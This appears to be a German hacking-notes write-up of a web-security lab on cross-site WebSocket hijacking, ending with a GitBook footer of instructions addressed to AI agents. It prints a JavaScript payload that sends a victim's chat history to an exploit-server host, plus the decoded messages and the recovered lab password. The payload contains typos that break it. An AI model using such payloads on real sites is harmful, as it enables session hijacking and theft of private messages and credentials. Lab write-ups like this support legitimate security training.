> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/websockets/cross-site-websocket-hijacking.md).

# Cross-Site-WebSocket-Hijacking

### Cross-Site-WebSocket-Hijacking

Die App ist ein Online-Shop mit einer **Live-Chat** Funktion implementiert mit **WebSockets**. / Jedes Mal, wenn du die Chat-Seite besuchst, **wird der gesamte Gesprächsverlauf automatisch geladen**, ohne strenge Kontrolle des Ursprungs der Anfrage.

<figure><img src="/files/fd3ca68b7a2340d1ed1ded771237fe38a9d6b4f3" alt=""><figcaption></figcaption></figure>

Die ausgetauschten Nachrichten verwenden das folgende JSON-Format:

```json
{
    "user":"Du",
    "content":"hi"
}
```

<figure><img src="/files/5fbb53529a0e3bc7bbf5719277f6af8d1b487999" alt=""><figcaption></figcaption></figure>

Exfiltriere den Verlauf des Chats des Opfers durch einen Angriff auf \*\*Cross-Site-WebSocket-Hijacking\*\*, dann verwende die wiederhergestellten Informationen, um auf sein Konto zuzugreifen.

***

#### Angriffsprinzip

L的**Exploit-Server** wird verwendet, um eine HTML/JavaScript-Nutzlast zu hosten, die:

1. Stellt eine WebSocket-Verbindung zum Ziel-Chatserver her.
2. Sendet die erforderliche Nachricht, um die Kommunikation zu initialisieren (`READY`).
3. Fängt alle über den WebSocket empfangenen Nachrichten ab.
4. Exfiltriere diese Nachrichten nach der Base64-Kodierung an den Exploit-Server.

***

#### Verwendete Nutzlast

Eine `data.js` Datei wird mit folgendem Inhalt erstellt:

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

Dieses Skript wird im Browser des Opfers ausgeführt, wenn sie den Exploit-Server besucht, und führt automatisch ihre authentifizierte Sitzung aus.

<figure><img src="/files/cf0d67684eed2bda8fc4bc4e7bda10735713acbd" alt=""><figcaption></figcaption></figure>

#### Exfiltrierte Daten

Der betreibende Server empfängt mehrere in Base64 kodierte Zeichenfolgen, zum Beispiel:

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

{% endcode %}

Nach dem Dekodieren wird der vollständige Chatverlauf wiederhergestellt:

```json
{"user":"Hal Pline","content":"Hallo, wie kann ich helfen?"}
{"user":"Du","content":"Ich habe mein Passwort vergessen"}
{"user":"Hal Pline","content":"Kein Problem, Carlos, es ist bijj9k61m8bjv18ug67u"}
{"user":"Du","content":"Danke, ich hoffe, das wird mir nicht zum Verhängnis!"}
{"user":"CONNECTED","content":"-- Jetzt wird mit Hal Pline gechattet --"}
```

#### Ergebnis

Die wiederhergestellten sensiblen Informationen ermöglichen die Identifizierung der Zugangsdaten des Opfers:

* **Benutzer**: carlos
* **Passwort**: `bijj9k61m8bjv18ug67u`

Diese Zugangsdaten können dann verwendet werden, um sich mit Carlos' Konto zu verbinden und das Lab zu validieren.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/websockets/cross-site-websocket-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
